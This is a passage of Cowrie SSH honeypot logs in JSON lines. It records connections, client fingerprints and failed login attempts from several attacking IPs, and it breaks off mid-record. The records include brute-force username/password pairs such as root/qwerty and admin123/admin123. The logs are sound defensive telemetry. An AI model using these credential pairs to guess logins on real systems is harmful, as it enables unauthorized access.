{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:40.814606Z","src_ip":"43.163.119.215","session":"60fd410c59f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:40.894221Z","src_ip":"154.83.196.237","session":"d30fce98213a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:41.069232Z","src_ip":"103.75.199.4","session":"2b3295cabbd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:41.382873Z","src_ip":"154.83.196.237","session":"d30fce98213a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:42.501004Z","src_ip":"154.83.196.237","session":"d30fce98213a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58926,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f049ebb338","protocol":"ssh","message":"New connection: 43.163.119.215:58926 (10.17.0.5:22) [session: f2f049ebb338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:45.613473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:45.619219Z","src_ip":"43.163.119.215","session":"f2f049ebb338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:45.861475Z","src_ip":"43.163.119.215","session":"f2f049ebb338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:46.576863Z","src_ip":"43.163.119.215","session":"f2f049ebb338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:47.817938Z","src_ip":"43.163.119.215","session":"f2f049ebb338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":51124,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae307e83e613","protocol":"ssh","message":"New connection: 43.163.119.215:51124 (10.17.0.5:22) [session: ae307e83e613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:49.470611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:49.475725Z","src_ip":"43.163.119.215","session":"ae307e83e613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:49.721392Z","src_ip":"43.163.119.215","session":"ae307e83e613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:50.458884Z","src_ip":"43.163.119.215","session":"ae307e83e613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:51.707314Z","src_ip":"43.163.119.215","session":"ae307e83e613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":58050,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6974987aff6","protocol":"ssh","message":"New connection: 94.154.34.232:58050 (10.17.0.5:22) [session: a6974987aff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:53.440674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:53.448756Z","src_ip":"94.154.34.232","session":"a6974987aff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:53.571033Z","src_ip":"94.154.34.232","session":"a6974987aff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:54.083273Z","src_ip":"94.154.34.232","session":"a6974987aff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36192,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c87b64e4337","protocol":"ssh","message":"New connection: 43.163.119.215:36192 (10.17.0.5:22) [session: 8c87b64e4337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:55.158793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:55.163203Z","src_ip":"43.163.119.215","session":"8c87b64e4337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:55.207000Z","src_ip":"94.154.34.232","session":"a6974987aff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:55.409237Z","src_ip":"43.163.119.215","session":"8c87b64e4337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:56.148974Z","src_ip":"43.163.119.215","session":"8c87b64e4337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:57.398335Z","src_ip":"43.163.119.215","session":"8c87b64e4337","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":57856,"dst_ip":"159.203.135.109","dst_port":22,"session":"303c0c5b8e5f","protocol":"ssh","message":"New connection: 103.75.199.4:57856 (159.203.135.109:22) [session: 303c0c5b8e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:01.392082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:01.410997Z","src_ip":"103.75.199.4","session":"303c0c5b8e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:01.510266Z","src_ip":"103.75.199.4","session":"303c0c5b8e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty","message":"login attempt [root/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:01.799510Z","src_ip":"103.75.199.4","session":"303c0c5b8e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:02.898874Z","src_ip":"103.75.199.4","session":"303c0c5b8e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54426,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a1d25852111","protocol":"ssh","message":"New connection: 43.163.119.215:54426 (10.17.0.5:22) [session: 5a1d25852111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:06.130709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:06.135535Z","src_ip":"43.163.119.215","session":"5a1d25852111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:06.381873Z","src_ip":"43.163.119.215","session":"5a1d25852111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:07.118520Z","src_ip":"43.163.119.215","session":"5a1d25852111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":40954,"dst_ip":"10.17.0.5","dst_port":22,"session":"5563a112012e","protocol":"ssh","message":"New connection: 43.163.119.215:40954 (10.17.0.5:22) [session: 5563a112012e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:07.574108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:07.580905Z","src_ip":"43.163.119.215","session":"5563a112012e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:07.828182Z","src_ip":"43.163.119.215","session":"5563a112012e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:08.362592Z","src_ip":"43.163.119.215","session":"5a1d25852111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:08.572675Z","src_ip":"43.163.119.215","session":"5563a112012e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:09.824076Z","src_ip":"43.163.119.215","session":"5563a112012e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":45206,"dst_ip":"159.203.135.109","dst_port":22,"session":"064e7c43275b","protocol":"ssh","message":"New connection: 43.153.46.75:45206 (159.203.135.109:22) [session: 064e7c43275b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:11.910152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:00:11.918490Z","src_ip":"43.153.46.75","session":"064e7c43275b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"m